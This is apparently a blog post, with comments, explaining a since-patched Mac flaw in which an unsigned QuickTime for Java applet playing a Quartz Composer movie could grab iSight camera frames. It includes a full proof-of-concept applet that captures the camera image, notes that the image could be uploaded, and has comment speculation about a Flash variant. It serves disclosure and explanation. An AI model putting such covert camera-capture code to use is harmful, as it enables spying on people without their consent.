If you don’t really know what you’re talking about, and in particular if you’re a digg.com user, please shut up for 10 minutes and let me explain what’s really going on. Mac Slash’s write-up of the story is quite good, but a lot of people are still failing to get it.
There are a number of moving parts involved here, some of which have sharp edges. Let me try to build up the security hole, piece by piece. Don’t jump to conclusions until we’re done. I’ll have code examples to show you how it all works.
Point 1: Quartz Composer. QC is a graphics tool, part of Apple’s dev tools, that leverages the Quartz rendering engine. You use a visual editor to connect image sources (text, graphics, and yes, your iSight), to effects, conditional logic (to set values for the various effects), and ultimately to renderers to present the resulting visuals. You can save QC compositions in their own format, as screen savers or…
Point 2: Quartz Composer compositions can be saved as QuickTime movies This allows any application that can present QuickTime content to show a QC composition. This was the point of my much-linked-to Quartz Composer iSight prank, which consisted of a trivial “get the iSight input” composition, saved as a movie, and presented in a web page by the QuickTime plug-in. This was widely thought to be a security risk but is not, at least not in this form, because the pixels are rendered to the browser window and immediately forgotten. The server doesn’t know anything about your iSight, as all of the capturing and rendering is happening on your client, inside the QuickTime plug-in.
If you want to check this out again, here’s the trivial iSight-rendering QC movie, and a trivial web page that uses the QuickTime plug-in to show it.
Non-point: QuickTime for Java. The QuickTime plug-in is one way to get QuickTime content onto a web page. Another is to use QuickTime for Java in an applet. The big difference is that while the QuickTime plug-in is pretty much just meant for simple playback (although its extensive JavaScript-ability makes it well-suited for Ajax uses), QTJ code can actually employ most of the QuickTime library. Nearly anything a double-clickable QuickTime-based application could do can also be done with QTJ, and since Java can run in an applet, this would appear to open up a number of security holes. Fortunately, these have long since been closed. For example, imagine you wanted a web page to use a QTJ applet to turn on the user’s microphone and start recording him or her. Unless you’ve signed the applet, this approach dies as soon as you instantiate the SequenceGrabber:
java.lang.SecurityException: Only able to capture media with security settings when class is signed at quicktime.std.sg.SequenceGrabber.initialize(SequenceGrabber.java:99) at quicktime.std.sg.SequenceGrabber.(SequenceGrabber.java:67) at quicktime.std.sg.SequenceGrabber. (SequenceGrabber.java:55) at AppletSGTest.init(AppletSGTest.java:25) at sun.applet.AppletPanel.run(AppletPanel.java:378) at jep.AppletHolderPanel.run(AppletHolderPanel.java:148) at java.lang.Thread.run(Thread.java:613)
Point 3: QuickTime for Java rendering the Quartz Composer movie Go back to the simple Quartz Composer movie, which just dropped its bits on the floor. What if there were a way to save those bits? Well, that would potentially be bad, because then a rogue process could have access to the video captured from the camera. As it turns out, QuickTime for Java can do this. QTJ can be used to render any QuickTime content, including the QC movie. If you hack with the Java display space, you can get at the pixels from the camera.
Here’s a demonstration of the technique. This applet loads the QC movie and creates a Swing JComponent, which it adds to the applet’s layout, along with a status display and a button called “Spy!” (the label and button don’t seem to display correctly in Firefox, but they’re there if you click on them… just use Safari, Shiira, or maybe OmniWeb for now). Note that if you’ve already installed Security Update 2006-008, this applet won’t work, because preventing this kind of applet is the whole point of the update!
import java.awt.*;
import java.awt.image.*;
import java.awt.event.*;
import javax.swing.*;
import quicktime.*;
import quicktime.std.*;
import quicktime.std.movies.*;
import quicktime.std.movies.media.*;
import quicktime.app.view.*;
import java.applet.*;
public class QCQTJTest extends Applet
implements ActionListener {
Movie qcMovie;
QTJComponent movieComp;
JComponent movieJComp;
Exception breakage;
JLabel breakageLabel;
JButton spyButton;
public QCQTJTest() {
super();
try {
// init qt
QTSession.open();
// do some layout here
setLayout (new BorderLayout());
JPanel panel = new JPanel (new GridLayout (2,1));
breakageLabel = new JLabel ("Quartz Composer movie");
panel.add (breakageLabel);
spyButton = new JButton ("Spy!");
spyButton.addActionListener (this);
panel.add (spyButton);
add (panel, BorderLayout.SOUTH);
} catch (Exception e) {
e.printStackTrace();
breakageLabel.setText (e.toString());
}
}
public void init() {
try {
// load the movie from known url in param tag,
// or known location
String movieURL = getParameter ("movieurl");
if (movieURL == null)
movieURL =
"http://www.oreillynet.com/mac/blog/images/TrivialSight-122006.mov";
// load movie from url
qcMovie = Movie.fromDataRef (new DataRef (movieURL), 0);
MoviePlayer mp = new MoviePlayer (qcMovie);
// add to gui
movieComp = QTFactory.makeQTJComponent (mp);
movieJComp = movieComp.asJComponent();
add (movieJComp, BorderLayout.CENTER);
// play movie
qcMovie.start();
} catch (Exception e) {
e.printStackTrace();
breakageLabel.setText (e.toString());
}
}
public void destroy() {
// release the app's hold on the camera
try {
qcMovie.disposeQTObject();
} catch (Exception e) {
e.printStackTrace();
}
}
public void actionPerformed (ActionEvent ae) {
if (ae.getSource() != spyButton)
return;
// copy camera pixels to an arbitary buffer
GraphicsEnvironment ge =
GraphicsEnvironment.getLocalGraphicsEnvironment();
GraphicsDevice gs = ge.getDefaultScreenDevice();
GraphicsConfiguration gc = gs.getDefaultConfiguration();
Dimension gSize = movieJComp.getSize();
BufferedImage spyImage =
gc.createCompatibleImage (gSize.width, gSize.height);
Graphics2D spyGraphics = spyImage.createGraphics();
movieJComp.paint (spyGraphics);
// put this in a new frame
ImageIcon spyIcon = new ImageIcon (spyImage);
JLabel spyLabel = new JLabel (spyIcon);
JFrame spyFrame = new JFrame ("Nice picture");
spyFrame.getContentPane().add (spyLabel);
spyFrame.pack();
spyFrame.setVisible (true);
}
}
When you click the “Spy!” button, I create a BufferedImage and set up a Graphics2D drawing space into it. Then the Swing component paints its pixels into this image, via the Graphics2D. The applet shows this as a separate window just to prove that it can get the pixels, and it’s straightforward to infer from this that the pixels could then be used in various ways available to the applet, most obviously including a straight upload (via HTTP POST or similar) to the server that hosted the applet. This is exactly the approach of Red Hound Software’s security buglet, which is linked from the MacSlash article.
Here’s a picture of what the app looks like having grabbed the camera image (scaled, click for full-size):
So, let’s summarize:
- This only affects Macs, as Quartz Composer is not supported on Windows
- This only affects Macs running Tiger (Mac OS X 10.4), as Quartz Composer is not supported on earlier versions of Mac OS X
- The original version of the iSight prank, posted by myself and others, relies entirely on using the camera as a Quartz Composer source, and displaying that composition as a QuickTime movie in a web page
- The QC approach is not a security risk, as the pixels are dropped on the floor after they’re rendered. Those who said it is not, in itself, a security risk, were correct.
- However, rendering the QC movie with a QTJ applet instead of the QuickTime plug-in is a security risk, because the applet can get access to the pixels and the network, and could be malicious.
- Security Update 2006-008 resolves the issue with this QC-QTJ combination.
- After installing Security Update 2006-008, the QC-only prank (as in my original weblog) will still work, because just playing Quartz Composer compositions in the QuickTime plugin is not a security risk, even if those compositions use the camera
- After installing Security Update 2006-008, the QC-QTJ combination shown in this blog and on Red Hound Software’s page will no longer work, as it prohibits QTJ from playing QC content in unsigned applets
- You could still get QTJ to grab pixels from QC in either a signed applet, or in a desktop QTJ application, as those run without applet security restrictions.
OK, that’s all I have to say about that. I’m now going to let Software Update run and install the security update, which should break my little demo app on my G5.
Restart chime…
Yep, the buglet now throws an Exception and is unable to run the Quartz Composer composition, which is what we want. Yay, Apple:



Nice write-up and calm explanation of the issues. The exact apis used in the Red Hound sample are different (looks like it uses the QD layer in QT for Java) but the result is the same.
The demo applet I did does in fact use the qd layer. (How'd you figure that?) The main reason for that is that I don't really write GUIs in java and don't know those interfaces well. I found the QuickTime api to retrieve the pixels before I found the JComponent API. Had I found the JComponent API first, my code would have been shorter and PPC users would not have gotten a blue tint.
Very nice write-up!
Actually, I used the Swing approach (JComponent) largely because I thought there'd be more people who could follow the Swing stuff than could read equivalent QuickDraw stuff. But obviously we're all on the same track, and it's one of those things where once someone else shows you that it can be done (like Red Hound's applet did), it's a lot easier to stay on track and see things through. In QuickDraw, maybe one could use EndianOrder.isNativeBigEndian() to figure out if the user's pixels are ARGB or BGRA.
Red Hound: I used a Java Decompiler (http://www.kpdus.com/jad.html). It did a relatively good recreating useable source.
Kudos to you for coming up with the idea for this hack. The question now is - are there any other methods out there that can do the same? Would it be possible to host a QTZ movie inside a Flash applet and steal frames using similar techniques?
@Jonathan: Wow. The output of jad is strikingly close to the original source, at least for my own code. The base64 stuff is public domain anyway :-). I thought I was being nice by waiting until the software update cycle had time to run its course before posting source, but there was no need to bother.
The only additional thing anyone would learn from my source is in the comments, e.g. where I got my technique for converting the RawEncodedImage to a jpeg and that I was looking for a method that does what EndianOrder.isNativeBigEndian() does.
I strongly suspect that a similar technique would work from flash. I don't think flash is as nicely sandboxed as java applets... I don't have flash development tools around to try it out, though, so I'll have to leave that to someone else.
I'm closing comments on this blog due to massive link-spam. Sorry.